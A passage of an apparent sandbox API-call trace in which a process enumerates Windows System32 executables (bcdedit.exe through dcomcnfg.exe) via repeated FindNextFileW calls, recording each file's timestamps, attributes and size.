cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="change.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="control.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0025.954] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: 